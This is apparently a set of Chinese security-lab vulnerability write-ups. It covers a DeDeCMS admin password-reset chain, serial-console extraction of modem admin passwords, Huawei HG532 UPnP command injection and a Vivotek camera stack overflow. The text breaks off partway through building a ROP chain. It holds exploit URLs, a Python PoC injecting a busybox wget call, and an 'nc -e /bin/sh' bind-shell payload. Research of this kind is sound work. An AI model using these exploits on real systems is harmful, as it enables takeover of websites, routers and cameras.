-
DeDeCMS v5.7 密码修改漏洞分析
作者:LoRexxar'@知道创宇404实验室
#### 0x01 背景
织梦内容管理系统(DedeCms)以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,在经历多年的发展,目前的版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用该系统。
2018年1月10日, 锦行信息安全公众号公开了一个关于DeDeCMS前台任意用户密码修改漏洞的细节\[2]。
2018年1月10日,Seebug漏洞平台\[3]收录该漏洞,漏洞编号为SSV-97074,知道创宇404漏洞应急团队成功复现该漏洞。
2018年1月17日,阿里先知平台公开了一个任意用户登陆漏洞\[4]\[5],和一个安全隐患\[6],通过组合漏洞,导致后台密码可以被修改。
2018年1月18日,知道创宇404漏洞应急团队成功复现该漏洞。
#### 0x02 漏洞简述
整个漏洞利用链包括3个过程:
1. 前台任意用户密码修改漏洞
2. 前台任意用户登陆漏洞
3. 前台管理员密码修改可影响后台的安全隐患通过3个问题连起来,我们可以重置后台admin密码,如果我们获得了后台地址,就可以进一步登陆后台进行下一步攻击。
##### 1、前台任意用户密码修改漏洞
前台任意用户密码修改漏洞的核心问题是由于DeDeCMS对于部分判断使用错误的弱类型判断,再加上在设置初始值时使用了NULL作为默认填充,导致可以使用弱类型判断的漏洞来绕过判断。漏洞利用有几个限制:
1. 漏洞只影响前台账户 admin账户在前台是敏感词无法登陆
2. admin账户的前后台密码不一致,无法修改后台密码。
3. 漏洞只影响未设置密保问题的账户##### 2、前台任意用户登陆漏洞
前台任意用户登陆漏洞主要是利用了DeDeCMS的机制问题,通过一个特殊的机制,我们可以获得任意通过后台加密过的cookie,通过这个cookie我们可以绕过登陆,实现任意用户登陆。
漏洞利用有一个限制:
如果后台开启了账户注册审核,那就必须等待审核通过才能进行下一步利用。
##### 3、前台管理员密码修改可影响后台的安全隐患
在DeDeCMS的设计中,admin被设置为不可从前台登陆,但是当后台登陆admin账户的时候,前台同样会登陆管理员账户。
而且在前台的修改密码接口,如果提供了旧密码,admin同样可以修改密码,并且这里修改密码会同步给后台账户。
通过3个漏洞配合,我们可以避开整个漏洞利用下的大部分问题。
前台任意用户密码修改漏洞->修改admin密码,前台任意用户登录漏洞->登陆admin账户,通过刚才修改的admin密码,来重置admin账户密码。
#### 0x03 漏洞复现
##### 1、 登陆admin前台账户
安装DeDeCMS
![](https://images.seebug.org/content/images/2018/01/5d867e22-6725-44a0-8921-eb1a470accb1.png-w331s)注册用户名为000001的账户
![](https://images.seebug.org/content/images/2018/01/2c982abb-8803-4ace-b900-b76fdebb1090.png-w331s)
由于是本地复现漏洞,所以我们直接从数据库中修改为审核通过
![](https://images.seebug.org/content/images/2018/01/62afac8d-5130-4df8-9755-b14d505cadc2.png-w331s)
访问
http://your_website/member/index.php?uid=0000001
![](https://images.seebug.org/content/images/2018/01/f5289b12-2d0c-4d1c-9c7a-f4ad0d1053cd.png-w331s)
获取cookie中
last_vid_ckMd5
值,设置DeDeUserID_ckMd5
为刚才获取的值,并设置DedeUserID
为0000001访问
http://your_website/member/
![](https://images.seebug.org/content/images/2018/01/81bdc4e1-6df5-4cb8-be06-1aebe66d7e47.png-w331s)
##### 2、修改admin前台登陆密码
使用DeDeCMS前台任意用户密码修改漏洞修改admin前台密码。
构造漏洞利用请求
http://yourwebsite/member/resetpassword.phpdopost=safequestion&safequestion=0.0&safeanswer=&id=1
![](https://images.seebug.org/content/images/2018/01/65169b22-9cca-49a4-b049-6b781721bad5.png-w331s)从Burp获取下一步利用链接
/member/resetpassword.php?dopost=getpasswd&id=1&key=nlszc9Kn
![](https://images.seebug.org/content/images/2018/01/01734ff4-d48d-42ca-b5d2-ec8837ee70e9.png-w331s)
直接访问该链接,修改新密码
![](https://images.seebug.org/content/images/2018/01/c0f3ffe5-6eb1-4064-92e4-16c366d84ba8.png-w331s)
成功修改登陆admin密码
##### 3、修改后台密码
访问
http://yourwebsite/member/edit_baseinfo.php
使用刚才修改的密码再次修改密码
![](https://images.seebug.org/content/images/2018/01/e77740d5-d2f6-443b-b4db-3ba0dbb7a37b.png-w331s)
成功登陆
![](https://images.seebug.org/content/images/2018/01/c68183da-b541-40e3-86d2-8b75aadb361a.png-w331s)
#### 0x04 代码分析
##### 1、 前台任意用户登陆
在分析漏洞之前,我们先来看看通过cookie获取登陆状态的代码。
/include/memberlogin.class.php 161行
![](https://images.seebug.org/content/images/2018/01/ca006dbb-b378-48b4-a907-1fb7ea9b3c85.png-w331s)
通过GetCookie函数从
DedeUserID
取到了明文的M_ID,通过intval
转化之后,直接从数据库中读取该id对应的用户数据。让我们来看看
GetCookie
函数
/include/helpers/cookie.helper.php 56行
![](https://images.seebug.org/content/images/2018/01/0a4a3a7c-3378-4d06-b4d4-e92f6f838185.png-w331s)
这里的
cfg_cookie_encode
是未知的,DeDeCMS通过这种加盐的方式,来保证cookie只能是服务端设置的,所以我们没办法通过自己设置cookie来登陆其他账户。这里我们需要从别的地方获取这个加密后的值。
/member/index.php 161行
![](https://images.seebug.org/content/images/2018/01/083c37a6-97ff-4655-8c96-0bf481c554e9.png-w331s)
161行存在一段特殊的代码,这段代码是用来更新最新的访客记录的,当
last_vid
没有设置的时候,会把userid
更新到这个变量中,更新到flag中。而这里的
userid
就是注册时的用户名(如果不是已存在的用户名的话,会因为用户不存在无法访问这个页面)。通过这种方式,我们就可以通过已知明文来获取我们想要的密文。
这里我们通过注册
userid
为形似00001或者1aaa这样的用户,在获取登陆状态时,mid
会经过intval
的转化变为1,我们就成功的登陆到admin的账户下。ps:该漏洞影响所有用户
##### 2、前台任意用户密码修改
漏洞主要逻辑在
/member/resetpassword.php
75行至95行![](https://images.seebug.org/content/images/2018/01/80dc5c44-533f-4eb2-8dae-c75f255a936b.png-w331s)
当找回密码的方式为安全问题时
dedecms会从数据库中获取用户的安全问题、回答进行比对,当我们在注册时没设置安全问题时。
从数据库中可以看到默认值为NULL(admin默认没有设置安全问题)
![](https://images.seebug.org/content/images/2018/01/33dd3447-bc19-4fc4-a869-f3961a67bd55.png-w331s)
下面是设置了安全问题时数据库的样子,safequestion代表问题的id,safeanswer代表安全问题的回答。
我们需要绕过第一个判断
if(empty($safequestion)) $safequestion = '';
这里我们只要传入
0.0
就可以绕过这里,然后0.0 == 0
为True,第二个判断NULL==""
为True,成功进入sn函数。跟入
/member/inc/inc_pwd_functions.php
第150行![](https://images.seebug.org/content/images/2018/01/005be5b8-87cc-433d-8b39-2f7dadeec734.png-w331s)
有效时间10分钟,进入newmail函数
跟入
/member/inc/inc_pwd_functions.php
第73行![](https://images.seebug.org/content/images/2018/01/23657efd-40df-4619-a322-89d3d68974c9.png-w331s)
77行通过random生成了8位的临时密码。
这里我们使用的是安全问题修改密码,所以直接进入94行,将key代入修改页。
跳转进入形似
/member/resetpassword.php?dopost=getpasswd&id=1&key=nlszc9Kn
的链接,进入修改密码流程唯一存在问题的是,这里
&
错误的经过一次编码,所以这里我们只能手动从流量中抓到这个链接,访问修改密码。##### 3、修改后台密码安全隐患
在DeDeCMS的代码中,专门对前台修改管理员密码做了设置,如果是管理员,则一并更新后台密码,也就是这个安全隐患导致了这个问题。
/member/edit_baseinfo.php 119行
![](https://images.seebug.org/content/images/2018/01/921e15f3-9e3e-4a34-a1f3-54475a6f25eb.png-w331s)
#### 0x05 修复方案
截至该文章完成时,DeDeCMS的官方仍然没有修复该漏洞,所以需要采用临时修复方案,等待官方正式修复更新。
由于攻击漏洞涉及到3个漏洞,但官方仍然没有公开补丁,所以只能从一定程度上减小各个漏洞的影响。
- 前台任意用户登陆漏洞:开启新用户注册审核,当发现userid为1xxxx或1时,不予以
通过审核。在官方更新正式补丁之前,可以尝试暂时注释该部分代码,以避免更大的安全隐患
/member/index.php 161-162行
![](https://images.seebug.org/content/images/2018/01/f88b5b3e-567b-4f72-a3cb-5efb4a7a18cb.png-w331s)
- 前台修改后台管理员密码:设置较为复杂的后台地址,如果后台地址不可发现,则无法登陆后台。
- 前台任意用户密码修改漏洞:修改文件
/member/resetpassword.php
第84行
![](https://images.seebug.org/content/images/2018/01/7b8c7600-68dc-4eb9-bfc5-bfee00d158b7.png-w331s)将其中的==修改为===
![](https://images.seebug.org/content/images/2018/01/920c7470-c038-44a7-b43d-12c27a8f5a87.png-w331s)
即可临时防护该该漏洞。
#### 0x06 ref
[1] DeDeCMS官网
[2] 漏洞详情原文
[3] Seebug漏洞平台
[4] 阿里先知平台漏洞分析1
[5] 阿里先知平台漏洞分析2
[6] 漏洞最早分析原文
没有评论 -
如何通过TTL调试光猫
作者:Sebao@知道创宇404实验室
序言
众所周知,光猫是现在每个家庭必备的一款设备,但是光猫背面写的账号密码,只是普通用户权限,会限制很多功能。这篇文章讲述,如何通过TTL调试的方法获取光猫超级管理员的权限。
0x00 名词解释
引脚介绍(COM口pin比较多,但是常用的也是这几个):
VCC:供电pin,一般是3.3v,在我们的板子上没有过电保护,这个pin一般不接更安全
GND:接地pin,有的时候rx接受数据有问题,就要接上这个pin,一般也可不接
RX:接收数据pin
TX:发送数据pin,我之前碰到串口只能收数据,不能发数据问题,经baidu,原来是设置了流控制,取消就可以了,适用于putty,SecureCRT
在调试的时候, 多数情况下我们只引出rx,tx即可.
0x01 所需工具:
1,万用表
2,TTL转USB版
3,电烙铁
4,杜邦线若干只
5,SecureCRT
0x02 华为光猫
TTL调试的第一步骤就是拆机,拆机步骤这里就不详细描述。这里先看一下拆下来的光猫板子是什么样子的。
TTL调试我们首先要找出 GND,RX,TX。从图中可以看到,已经标识出了 GND,RX,TX的接口,就需要通过USB转TTL小板串口读取固件。 查找GND,可以用万用表查找。
用杜邦线连接到板子上,线序为GND接GND,RXD接TTL板的TXD,TXD 接TTL板的RXD。
USB端连接上电脑,在控制面板,设备管理器查看串口(一般在COM1-COM12之间),Connection type设置为:Serial,Serial line设置为你电脑上显示的串口,Speed设置为115200,然后连接。接通电源后等待,在这一段时间内串口应该会打印很多启动信息,启动差不多后,敲回车:
然后输入默认的账号root 密码 admin登录进去,输入shell命令,进入busybox.看一下此设备的cpu架构,用的是ARM7.
准备查找超级管理员的密码。进入/mnt/jffs2目录,复制配置文件hw_ctree.xml到myconf.xml.gz中。这个文件是AES加密的,所以先解密,命令为
aescrypt2 1 myconf.xml.gz tmp
。解密后的文件还是被压缩了的,所以要用gzip命令展开压缩文件myconf.xml.gz,得到myconf.xml。命令为:
gzip -d myconf.xml.gz
。然后用 grep 命令 查找telecomadmin,也就是超级管理员的密码。命令为:
grep telecomadmin myconf.xml
0x03 烽火光猫
和上述步骤一样,首先拆开光猫找到 GND,RX,TX。这个板子人性化的已经标明了GND,RX,TX。
所以直接用杜邦线连接到板子上,线序为GND接GND,RXD接TTL板的TXD,TXD 接TTL板的RXD。USB端连接上电脑。
接通电源后等待,在这一段时间内串口应该会打印很多启动信息,这里直接CTRL+C 跳过直接进入shell模式,这个也算是一个“后门”。输入命令
cat proc/cpuinfo
查看cpu的架构。进入shell获取超级管理员的方法差不多,参考上文即可,这里不再详细描述。
0x04 长虹光猫
和上述步骤一样。
因为这里没有针孔,所以需要焊接杜邦线到板子上,以便于固定杜邦线。
USB端连接上电脑。
0x05 总结
感谢 知道创宇404实验室 dawu,fenix提供的思路以及技巧。
-
Huawei HG532 系列路由器远程命令执行漏洞分析
作者:fenix@知道创宇404实验室
English version: https://paper.seebug.org/508/背景
华为 HG532 系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品。
2017/11/27,Check Point 软件技术部门报告了一个华为 HG532 产品的远程命令执行漏洞(CVE-2017-17215)【1】 。
该漏洞在被报告前,互联网上产生了大量未被关注的此类漏洞攻击利用包,遍及全球多个国家。Payload 已被证实是知名病毒 Mirai 的升级版变种 OKIRU/SATORI。该 Payload 功能非常简单,主要通过发送精心制作的 UDP/TCP 报文来对目标发起 DDoS 攻击。
2017/11/23,知道创宇 404 实验室的 ZoomEye 网络探针系统也捕获到了该攻击的 Payload。
漏洞分析
固件下载
网上有 HG532e 版本的公开固件,下载地址【2】
下载该固件,利用 binwalk 直接解压。
目标系统是 MIPS 32 位 大端架构。
漏洞分析
根据 Check Point 的报告【1】,该远程命令执行漏洞的漏洞点位于 UPnP 服务中。
UPnP 是由“通用即插即用论坛”(UPnP™ Forum)推广的一套网络协议。该协议的目标是使家庭网络(数据共享、通信和娱乐)和公司网络中的各种设备能够相互无缝连接,并简化相关网络的实现。
直接将固件中负责 UPnP 服务的 upnp 程序扔到 IDA。
通过字符串
NewStatusURL
对漏洞点进行定位。跟踪数据交叉引用
漏洞点如下
ATP_XML_GetChildNodeByName 函数的定义如下。
程序首先进行 SOAP XML 报文解析,得到元素 NewDownloadURL 和 NewStatusURL 的值。然后进行以下拼接,最终调用 system() 函数执行。
1<ol class="linenums"><li class="L0"><code><span class="pln">snprintf</span><span class="pun">(</span><span class="pln">$s0</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0x400</span><span class="pun">,</span><span class="pln"> </span><span class="str">'upg -g -U %s -t '</span><span class="lit">1</span><span class="pln"> </span><span class="typ">Firmware</span><span class="pln"> </span><span class="typ">Upgrade</span><span class="pln"> </span><span class="typ">Image</span><span class="str">' -c upnp -r %s -d -'</span><span class="pun">,</span><span class="pln"> </span><span class="typ">NewDownloadURL</span><span class="pun">,</span><span class="pln"> </span><span class="typ">NewStatusURL</span><span class="pun">)</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pln">system</span><span class="pun">(</span><span class="pln">$s0</span><span class="pun">)</span></code></li></ol>upg
是路由器的一个升级程序,他的参数功能如下。现在我们有两个命令注入点,
NewDownloadURL
和NewStatusURL
。漏洞验证
目标系统提供了以下命令。
利用 wget 命令进行漏洞测试。发送以下报文。
1<ol class="linenums"><li class="L0"><code><span class="kwd">import</span><span class="pln"> requests</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pln">headers </span><span class="pun">=</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L3"><code><span class="pln"> </span><span class="str">"Authorization"</span><span class="pun">:</span><span class="pln"> </span><span class="str">"Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"</span></code></li><li class="L4"><code><span class="pun">}</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln">data </span><span class="pun">=</span><span class="pln"> </span><span class="str">'''<?xml version="1.0" ?></span></code></li><li class="L7"><code><span class="str"> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"></span></code></li><li class="L8"><code><span class="str"> <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"></span></code></li><li class="L9"><code><span class="str"> <NewStatusURL>;/bin/busybox wget -g 192.168.1.2 -l /tmp/1 -r /1;</NewStatusURL></span></code></li><li class="L0"><code><span class="str"> <NewDownloadURL>HUAWEIUPNP</NewDownloadURL></span></code></li><li class="L1"><code><span class="str"> </u:Upgrade></span></code></li><li class="L2"><code><span class="str"> </s:Body></span></code></li><li class="L3"><code><span class="str"></s:Envelope></span></code></li><li class="L4"><code><span class="str">'''</span></code></li><li class="L5"><code><span class="pln">requests</span><span class="pun">.</span><span class="pln">post</span><span class="pun">(</span><span class="str">'http://192.168.1.1:37215/ctrlt/DeviceUpgrade_1'</span><span class="pun">,</span><span class="pln">headers</span><span class="pun">=</span><span class="pln">headers</span><span class="pun">,</span><span class="pln">data</span><span class="pun">=</span><span class="pln">data</span><span class="pun">)</span></code></li></ol>可以看到,我们成功在监听的端口上收到了请求。
值得一提的是,HG532e 路由器的 uPnP 服务和防火墙都是默认开启的,防火墙默认等级为低级。
在默认设置下,从 WAN 口访问 37215 端口会被防火墙拦截,漏洞无法被利用。
防护方案
2017/11/30,华为官方发布了安全公告【4】,确认了该漏洞。
公告中提到了以下漏洞缓解措施- 配置路由器内置的防火墙
- 更改路由器默认密码
- 在路由器外部署防火墙
是的,没找到固件升级包,所以,没有补丁分析…
总结
- 和爱尔兰宽带路由器 SetNTPServers 命令注入【3】类似,这个漏洞整体来看就是一个简单的命令拼接。
- 该漏洞也为我们漏洞挖掘提供了一个很好的方向。snprintf()、system() 等函数附近的程序逻辑都应该被重点关注。
- 还是那句话,一切进入函数的变量都是有害的。大部分远程命令执行漏洞要么是过滤不全,导致命令拼接。要么是没有进行变量长度控制,造成缓冲区溢出。关于这点设备供应商应该负责任,安全开发意识非常重要。
参考链接
【1】 Check Point 漏洞报告
https://research.checkpoint.com/good-zero-day-skiddie/
【2】 HG532e 固件下载
https://ia601506.us.archive.org/22/items/RouterHG532e/router%20HG532e.rar
【3】 爱尔兰宽带路由器 SetNTPServers 命令注入
https://www.seebug.org/vuldb/ssvid-97024/https://www.seebug.org/vuldb/ssvid-97024
【4】 华为安全公告
http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en/http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en -
Vivotek 摄像头远程栈溢出漏洞分析及利用
作者:fenix@知道创宇404实验室
前言
近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃。
漏洞作者@bashis 放出了可造成摄像头 Crash 的 PoC :https://www.seebug.org/vuldb/ssvid-96866/https://www.seebug.org/vuldb/ssvid-96866
该漏洞在 Vivotek 的摄像头中广泛存在,按照官方的安全公告,会影响以下版本
1<ol class="linenums"><li class="L0"><code><span class="pln">CC8160 CC8370</span><span class="pun">-</span><span class="pln">HV CC8371</span><span class="pun">-</span><span class="pln">HV CD8371</span><span class="pun">-</span><span class="pln">HNTV CD8371</span><span class="pun">-</span><span class="pln">HNVF2 FD8166A</span></code></li><li class="L1"><code><span class="pln">FD8166A</span><span class="pun">-</span><span class="pln">N FD8167A FD8167A</span><span class="pun">-</span><span class="pln">S FD8169A FD8169A</span><span class="pun">-</span><span class="pln">S FD816BA</span><span class="pun">-</span><span class="pln">HF2</span></code></li><li class="L2"><code><span class="pln">FD816BA</span><span class="pun">-</span><span class="pln">HT FD816CA</span><span class="pun">-</span><span class="pln">HF2 FD8177</span><span class="pun">-</span><span class="pln">H FD8179</span><span class="pun">-</span><span class="pln">H FD8182</span><span class="pun">-</span><span class="pln">F1 FD8182</span><span class="pun">-</span><span class="pln">F2</span></code></li><li class="L3"><code><span class="pln">FD8182</span><span class="pun">-</span><span class="pln">T FD8366</span><span class="pun">-</span><span class="pln">V FD8367A</span><span class="pun">-</span><span class="pln">V FD8369A</span><span class="pun">-</span><span class="pln">V FD836BA</span><span class="pun">-</span><span class="pln">EHTV FD836BA</span><span class="pun">-</span><span class="pln">EHVF2</span></code></li><li class="L4"><code><span class="pln">FD836BA</span><span class="pun">-</span><span class="pln">HTV FD836BA</span><span class="pun">-</span><span class="pln">HVF2 FD8377</span><span class="pun">-</span><span class="pln">HV FD8379</span><span class="pun">-</span><span class="pln">HV FD8382</span><span class="pun">-</span><span class="pln">ETV FD8382</span><span class="pun">-</span><span class="pln">EVF2</span></code></li><li class="L5"><code><span class="pln">FD8382</span><span class="pun">-</span><span class="pln">TV FD8382</span><span class="pun">-</span><span class="pln">VF2 FD9171</span><span class="pun">-</span><span class="pln">HT FD9181</span><span class="pun">-</span><span class="pln">HT FD9371</span><span class="pun">-</span><span class="pln">EHTV FD9371</span><span class="pun">-</span><span class="pln">HTV</span></code></li><li class="L6"><code><span class="pln">FD9381</span><span class="pun">-</span><span class="pln">EHTV FD9381</span><span class="pun">-</span><span class="pln">HTV FE8182 FE9181</span><span class="pun">-</span><span class="pln">H FE9182</span><span class="pun">-</span><span class="pln">H FE9191</span></code></li><li class="L7"><code><span class="pln">FE9381</span><span class="pun">-</span><span class="pln">EHV FE9382</span><span class="pun">-</span><span class="pln">EHV FE9391</span><span class="pun">-</span><span class="pln">EV IB8360 IB8360</span><span class="pun">-</span><span class="pln">W IB8367A</span></code></li><li class="L8"><code><span class="pln">IB8369A IB836BA</span><span class="pun">-</span><span class="pln">EHF3 IB836BA</span><span class="pun">-</span><span class="pln">EHT IB836BA</span><span class="pun">-</span><span class="pln">HF3 IB836BA</span><span class="pun">-</span><span class="pln">HT IB8377</span><span class="pun">-</span><span class="pln">H</span></code></li><li class="L9"><code><span class="pln">IB8379</span><span class="pun">-</span><span class="pln">H IB8382</span><span class="pun">-</span><span class="pln">EF3 IB8382</span><span class="pun">-</span><span class="pln">ET IB8382</span><span class="pun">-</span><span class="pln">F3 IB8382</span><span class="pun">-</span><span class="pln">T IB9371</span><span class="pun">-</span><span class="pln">EHT</span></code></li><li class="L0"><code><span class="pln">IB9371</span><span class="pun">-</span><span class="pln">HT IB9381</span><span class="pun">-</span><span class="pln">EHT IB9381</span><span class="pun">-</span><span class="pln">HT IP8160 IP8160</span><span class="pun">-</span><span class="pln">W IP8166</span></code></li><li class="L1"><code><span class="pln">IP9171</span><span class="pun">-</span><span class="pln">HP IP9181</span><span class="pun">-</span><span class="pln">H IZ9361</span><span class="pun">-</span><span class="pln">EH MD8563</span><span class="pun">-</span><span class="pln">EHF2 MD8563</span><span class="pun">-</span><span class="pln">EHF4 MD8563</span><span class="pun">-</span><span class="pln">HF2</span></code></li><li class="L2"><code><span class="pln">MD8563</span><span class="pun">-</span><span class="pln">HF4 MD8564</span><span class="pun">-</span><span class="pln">EH MD8565</span><span class="pun">-</span><span class="pln">N SD9161</span><span class="pun">-</span><span class="pln">H SD9361</span><span class="pun">-</span><span class="pln">EHL SD9362</span><span class="pun">-</span><span class="pln">EH</span></code></li><li class="L3"><code><span class="pln">SD9362</span><span class="pun">-</span><span class="pln">EHL SD9363</span><span class="pun">-</span><span class="pln">EHL SD9364</span><span class="pun">-</span><span class="pln">EH SD9364</span><span class="pun">-</span><span class="pln">EHL SD9365</span><span class="pun">-</span><span class="pln">EHL SD9366</span><span class="pun">-</span><span class="pln">EH</span></code></li><li class="L4"><code><span class="pln">SD9366</span><span class="pun">-</span><span class="pln">EHL VS8100</span><span class="pun">-</span><span class="pln">V2</span></code></li></ol>Vivotek 官方提供了各种型号摄像头的固件下载:http://www.vivotek.com/firmware/ ,这也为我们的研究带来了很多便利。
我们发现,漏洞被曝出之后,在官网固件下载页面中的大多数固件均早于漏洞曝出时间,我们下载了几款摄像头的最新固件进行验证,发现漏洞依然存在,这意味着截止漏洞被曝出,Vivotek 官方对该漏洞的修复并不彻底。众所周知,栈溢出是存在潜在的远程命令执行风险的,为了深入了解该漏洞的影响,我们决定研究下该漏洞的原理及利用。
调试环境搭建
固件下载
由于手头上并没有 Vivotek 的摄像头,我们在官网下载其中一款摄像头固件,使用
qemu
模拟运行。(注:官方在陆续发布各个版本的固件更新,可根据固件发布时间判断官方是否已经修复漏洞)首先下载摄像头固件:http://download.vivotek.com/downloadfile/downloads/firmware/cc8160firmware.zip/http://download.vivotek.com/downloadfile/downloads/firmware/cc8160firmware.zip
通过
binwalk
直接解压出其中的文件系统,和漏洞有关的主要文件如下根据
file
命令的结果可知目标架构为ARM
、小端、32位。且该 ELF 文件为动态链接。修复运行依赖
尝试用
qemu
运行,结果如下服务没有运行起来,且没有明显的报错,猜想到可能是缺少某些依赖,程序直接退出了,扔到 IDA,从程序退出前的提示:
gethostbyname:: Success
,回溯程序异常退出原因。依次加载IDA 菜单栏 -> View -> Open subviews -> Strings,
Command + F
搜索gethostname
查看交叉引用信息,定位相应代码段
异常退出部分代码如下
为了看的更直观,我们来贴一下
F5
的结果,如下这部分主要涉及两个函数。gethostname():返回本地主机的标准主机名,如果函数成功,则返回 0。如果发生错误则返回 -1。gethostbyname():用域名或主机名获取IP地址。
Linux 操作系统的 hostname 是一个 kernel 变量,可以通过 hostname 命令来查看本机的 hostname。也可以直接
cat /proc/sys/kernel/hostname
查看。我们只需要将二者改成一致,httpd 服务即可成功运行。
调试环境
为了方便调试,还需要搭建 qemu 虚拟机环境。
qemu 镜像文件下载:https://people.debian.org/~aurel32/qemu/armel/ (下载内核 3.2 的版本)
远程调试 gdbserver:https://github.com/mzpqnxow/gdb-static-cross/tree/master/prebuilt-static/https://github.com/mzpqnxow/gdb-static-cross/tree/master/prebuilt-static
qemu 虚拟机建议采用
桥接
方式和主机连接。1<ol class="linenums"><li class="L0"><code class="lang-bash"><span class="com">#!/bin/bash</span></code></li><li class="L1"><code class="lang-bash"></code></li><li class="L2"><code class="lang-bash"><span class="pln">sudo tunctl </span><span class="pun">-</span><span class="pln">t tap0 </span><span class="pun">-</span><span class="pln">u </span><span class="str">`whoami`</span></code></li><li class="L3"><code class="lang-bash"><span class="pln">sudo ifconfig tap0 </span><span class="lit">192.168</span><span class="pun">.</span><span class="lit">2.1</span><span class="pun">/</span><span class="lit">24</span></code></li><li class="L4"><code class="lang-bash"><span class="pln">qemu</span><span class="pun">-</span><span class="pln">system</span><span class="pun">-</span><span class="pln">arm </span><span class="pun">-</span><span class="pln">M versatilepb </span><span class="pun">-</span><span class="pln">kernel vmlinuz</span><span class="pun">-</span><span class="lit">3.2</span><span class="pun">.</span><span class="lit">0</span><span class="pun">-</span><span class="lit">4</span><span class="pun">-</span><span class="pln">versatile </span><span class="pun">-</span><span class="pln">initrd initrd</span><span class="pun">.</span><span class="pln">img</span><span class="pun">-</span><span class="lit">3.2</span><span class="pun">.</span><span class="lit">0</span><span class="pun">-</span><span class="lit">4</span><span class="pun">-</span><span class="pln">versatile </span><span class="pun">-</span><span class="pln">hda debian_wheezy_armel_standard</span><span class="pun">.</span><span class="pln">qcow2 </span><span class="pun">-</span><span class="pln">append </span><span class="str">"root=/dev/sda1"</span><span class="pln"> </span><span class="pun">-</span><span class="pln">net nic </span><span class="pun">-</span><span class="pln">net tap</span><span class="pun">,</span><span class="pln">ifname</span><span class="pun">=</span><span class="pln">tap0</span><span class="pun">,</span><span class="pln">script</span><span class="pun">=</span><span class="pln">no</span><span class="pun">,</span><span class="pln">downscript</span><span class="pun">=</span><span class="pln">no </span><span class="pun">-</span><span class="pln">nographic</span></code></li></ol>启动虚拟机,进行简单配置等待远程调试。
漏洞研究
定位溢出点
以下为漏洞作者 @bashis 提供的 PoC
1<ol class="linenums"><li class="L0"><code><span class="pln">echo </span><span class="pun">-</span><span class="pln">en </span><span class="str">"POST /cgi-bin/admin/upgrade.cgi </span></code></li><li class="L1"><code><span class="str">HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"</span><span class="pln"> </span><span class="pun">|</span><span class="pln"> ncat </span><span class="pun">-</span><span class="pln">v </span><span class="lit">192.168</span><span class="pun">.</span><span class="lit">57.20</span><span class="pln"> </span><span class="lit">80</span></code></li></ol>老套路, 根据
Content-Length
很容易定位到溢出点,如下惊讶到了,strncpy() 函数的长度参数竟然这么用,妥妥的溢出。
调用栈布局
dest
缓冲区起始地址距离栈底0x38
字节,栈上依次为 LR、R11-R4。Content-Length
长度超过 0x38 - 4 字节就会覆盖函数的返回地址 LR。exp 研究
strncpy()
函数引起的栈溢出,在利用时就会有很 egg hurt 的0x00
坏字符问题,如果我们的输入数据中包含0x00
,将会被截断导致漏洞利用失败。根据溢出点附近的汇编代码来看,0x0a
也会被截断。且开启了NX
保护,这意味着我们无法在栈上部署shellcode
。
尝试通过
return2libc
的方式 getshell。由于没有实际的摄像头,我们不知道目标系统是否开启了ASLR
,如果ASLR
是开启的且没有其它可用来暴露libC
动态链接库内存地址的漏洞,那么利用该漏洞将会是一个很难受的过程。采用以下方式暂时关闭
ASLR
1<ol class="linenums"><li class="L0"><code><span class="pln">echo </span><span class="lit">0</span><span class="pln"> </span><span class="pun">></span><span class="pln"> </span><span class="str">/proc/</span><span class="pln">sys</span><span class="pun">/</span><span class="pln">kernel</span><span class="pun">/</span><span class="pln">randomize_va_space</span></code></li></ol>libC
库的加载地址如下接下来就需要精心构造数据,劫持函数的执行流程了。有一点需要注意,X86 架构下的所有参数都是通过堆栈传递的,而在 MIPS 和 ARM 架构中,会优先通过寄存器传递参数,如果参数个数超过了寄存器的数量,则将剩下的参数压入调用参数空间(即堆栈)。
从前面的分析来看,只要我们构造 0x38 - 4 字节以上的数据,栈底的函数返回地址就会被我们劫持。system() 函数地址 =
libC
库在内存中的加载基址 + system() 函数在libC
库中的偏移,通过劫持该地址为libC
库中的 system() 函数地址,再设置R0
寄存器指向命令字符串,就可以执行任意命令。经过验证,
nc
命令可以正常使用。接下来我们开始构造
ROP
利用链,大致思路见以下汇编代码。Github 上有个很赞的项目:https://github.com/JonathanSalwan/ROPgadget/https://github.com/JonathanSalwan/ROPgadget
它可以用来搜索 ELF 文件中的 gadgets,方便我们构造 ROP 链。
我们需要将字符串参数
nc -lp2222 -e/bin/sh
部署到栈上,并且将地址存入R0
。该参数包含 20 个字节,且不含坏字符。libC
基址为0xb6f2d000
,由该地址可知 gadget 在内存中的有效地址。发生溢出时栈顶地址为0xbeffeb50
。利用
ROPgadget
搜索可用的 gadgets,在选择 gadget 时要还考虑坏字符的问题。比如说如下的 gadget 就不得行。再搜索一条可用的 gadget,俗称曲线救国。
选择以下两条 gadget,构造
ROP
